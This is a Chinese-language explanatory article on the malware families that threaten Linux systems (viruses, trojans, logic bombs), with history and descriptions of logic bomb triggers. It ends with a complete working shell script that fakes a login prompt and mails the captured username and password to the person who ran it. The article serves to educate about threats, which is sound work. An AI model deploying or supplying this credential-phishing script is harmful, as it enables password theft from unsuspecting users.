简介
通常有四种截然不同类型的威胁,不过用户经常混淆它们,这主要是因为一次攻击的发生往往是各种机制同时作用的结果:
病毒 自我复制以感染宿主程序体;
特洛伊木马 执行任务以将之自身隐藏在某个貌似无害的应用程序中;
蠕虫 利用计算机网络来进行自我繁殖,例如通过电子邮件;
后门程序 允许外部用户使用间接手段掌控某项应用程序。
对它们加以分类通常不那么容易;例如,有些程序在某些观测者看来是病毒,但其它人却认为它们是蠕虫,要做出最终的决策是十分棘手的。不过对于本文所涉及的范围来说,这倒并不很重要,本文意在阐明哪种威胁会危及Linux系统。
与普遍看法正相反的是,这四种祸害其实已经都存在于Linux上了。当然,病毒的传播环境不像在如DOS下那么有利,但现有的威胁亦不容小视。就让我们分析一下有哪些风险。
潜在的威胁
病毒
病毒是一小段安置在某个宿主程序核心位置的代码,它能够通过感染新的执行文件来自我复制。病毒最早出现于70年代,当时的程序员在玩一个叫做"core war"的游戏。这个游戏来自于Bell AT&T laboratories[MARSDEN 00]。其目标是在有限的内存区域里并行运行,小程序能够互相破坏。操作系统没有提供程序内存区域之间的保护,这样就允许相互进攻以消灭对手。为此,有些人使用'0'来“轰炸”最大可能的内存区域,与此同时,其它一些人永远在地址空间中移动,希望覆盖掉对手的代码,有时,他们中的一些会联合起来消灭某个难对付的“敌人”。
实现该游戏的算法被翻译成一门特别为其创建的汇编语言“red code”,它通过绝大多数现有机器上的仿真器来执行。游戏中的乐趣更多源于科学的好奇,就如对the Life of Conway Game,不规则碎片形和遗传算法等的狂热一样。
不过,随着关于core war的文章发表在Scientific American[DEWDNEY 84]上,不可避免的事发生了,有些人开始编写小段的自我复制的代码,这些代码特别针对于软驱启动扇区或者可执行文件。起初是在Apple ][计算机上出现,接下来就到了MacIntosh和PC的计算机上。
MS DOS操作系统成为了病毒繁殖环境的绝佳之选:静态可执行文件有着众所周知的格式,没有内存保护,没有基于文件存取权限的安全设置,广泛地在内存中堆叠使用TSR常驻程序,等等。我们必须还加上一条用户心理状态的因素,他们疯狂地用软盘交换可执行程序甚而毫不考虑文件的来源。
在最简单的模式中,病毒就是一小段代码,它可以在启动一项应用程序时作为附件执行。它将利用这段时间来查找其它尚未感染的可执行文件,将其自身内嵌入这些文件中(要是考虑再周到一些,最好保持原程序不作修改)并退出。一旦启动新的可执行文件时,进程即会重新启动。
得益于大量“利器”的协助,病毒可以自动复制自身。在[LUDWIG 91]和[LUDWIG 93]中,有关于for DOS病毒的详细描述,它们使用诡秘的隐身术以保持领先于当前的杀毒软件:随机加密,代码永久变化等等。你甚至可能遇到使用遗传算法来优化其生存期和繁殖能力的病毒。相关的信息你可以在以下这篇非常著名的文档中找到:[SPAFFORD 94].
而我们必须牢记于心的是计算机病毒已经超越了虚拟生活中试验的主题范围,它可以造成大面积的损害。一小段代码的多重复制本质不过是空间的浪费(磁盘和内存),而病毒则可以此作为支撑――运输工具――来服务于其它更加令人不快的东西:逻辑炸弹,我们将在特洛伊木马中再次谈到它。
特洛伊木马和逻辑炸弹
Timeo Danaos et dona ferentes - 即便当希腊人送礼时,我也惧怕他们。 (Virgile, Aeneid,II, 49)。
被围困的特洛伊人作了一个糟糕的决定,他们将大量被希腊攻击者作为宗教祭品而遗弃的木马雕像放进了城。真正的突击队就藏在特洛伊木马的侧部,待到他们一旦渗入城内,便利用夜幕掩护从里面攻击城池,这样使得希腊人最终赢得了特洛伊战争的胜利。
著名的“特洛伊木马”常被用作计算机安全领域的专门术语,它表示一个看似无害的应用程序,就如上面提到的病毒一样,传播破坏性的代码逻辑炸弹。
逻辑炸弹是一段恶意伤害的程序,它具备各种迥异的效力:
系统资源的高消耗(内存,硬盘,CPU等等。);
所有可能文件的快速破坏(覆盖它们以阻止用户找回其内容);
不时地对一个文件进行秘密侵蚀,以尽可能隐藏得更久;
对系统安全的攻击(执行十分松懈的存取权限,将密码文件发送给一个internet地址等等。);
将该机器作为计算机恐怖行动之用,这些恐怖行动如DDoS(Distributed Denial of Service)之类的都在业已闻名的文章[GIBSON 01]中有提到;
关于磁盘上应用程序注册码的详细清单,并将其发送给软件开发者。
在某些情况下,逻辑炸弹会针对特定的目标系统来编写,以试图窃取其上的机密信息,破坏特殊文件或者盗用用户身份识别去毁损其名誉。同样的炸弹在任何其他类型的系统上则是无害的。
逻辑炸弹也可以试图在物理上破坏其驻留的系统。这种可能性虽然不大,但是确实存在(删除CMOS存储器内容,修改modem闪存内容,打印机、绘图仪、扫描仪的头部毁灭性的移动,硬盘读磁头的加速运转...)
倘若继续按照“炸弹”的比喻描述,我们可以说逻辑炸弹需要雷管来引爆。实际上,就效率而言,特洛伊木马或病毒在首次启动时就执行破坏性的操作是一个不好的策略。在安装了逻辑炸弹之后,最好是等待一会再爆炸。对于病毒传播来说,这可以增加其在其它系统中传播的“机会”;而就特洛伊木马来说,则可以不让用户太容易发现新的应用程序安装与他机器上的异常现象之间的联系。
就像任何害人之举一样,发作机制也是各有不同:安装后延迟十天,删除特定用户帐号(临时删除),键盘和鼠标停止活动30分钟,打印机队列的高负载...无所不缺!最有名的特洛伊木马是屏幕保护程序,尽管今天看来这有点太老套。在诱人的外表下,这些程序能够不受干扰地实施破坏,特别是如果逻辑炸弹恰在一小时之后引爆,那么几乎可以肯定用户此时已经不在计算机前面了。
另一个特洛伊木马的著名例子是下面这个脚本,它显示一个登录/密码(login/password)屏幕,并发送信息给启动程序的人然后退出。若它工作于未使用的终端,该脚本将会俘获下个尝试连接的用户的密码。
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout